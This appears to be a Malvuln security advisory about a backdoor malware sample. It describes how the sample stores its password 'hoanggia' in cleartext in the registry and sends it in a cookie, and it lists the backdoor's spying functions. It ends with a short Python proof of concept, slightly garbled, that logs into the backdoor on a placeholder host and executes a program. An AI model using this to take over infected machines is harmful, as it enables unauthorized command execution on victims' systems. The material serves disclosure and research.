Monday, November 22, 2021 Insecure Credential Storage

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Vulnerability: Insecure Credential Storage
Description: The malware listens on TCP port 87, its default password "hoanggia" is stored in the Windows registry in cleartext under "clrprv.oo" in "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\System\NPP". The password is also set as cookie value "Cookie: pass=hoanggia; day=14; month=11; year=2021", which also gets sent over the network in plaintext. Third party attackers who can access the system or sniff traffic can grab the password, then execute any programs and or run commands made available by the backdoor.

Execute programs


Websites visited

Keys pressed

File system browsing

Apps used

Outlook emails

Misc CMDs

Type: PE
MD5: d2b933ebadd5c808ca4c68ae173e2d62
Vuln ID: MVID-2021-0406
Disclosure: 11/21/2021

import requests

with requests.Session() as s:
p ="http://x.x.x.x:87/main", data={'pass':"hoanggia"})
r = s.get("http://x.x.x.x:87/brow?exe=calc")

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore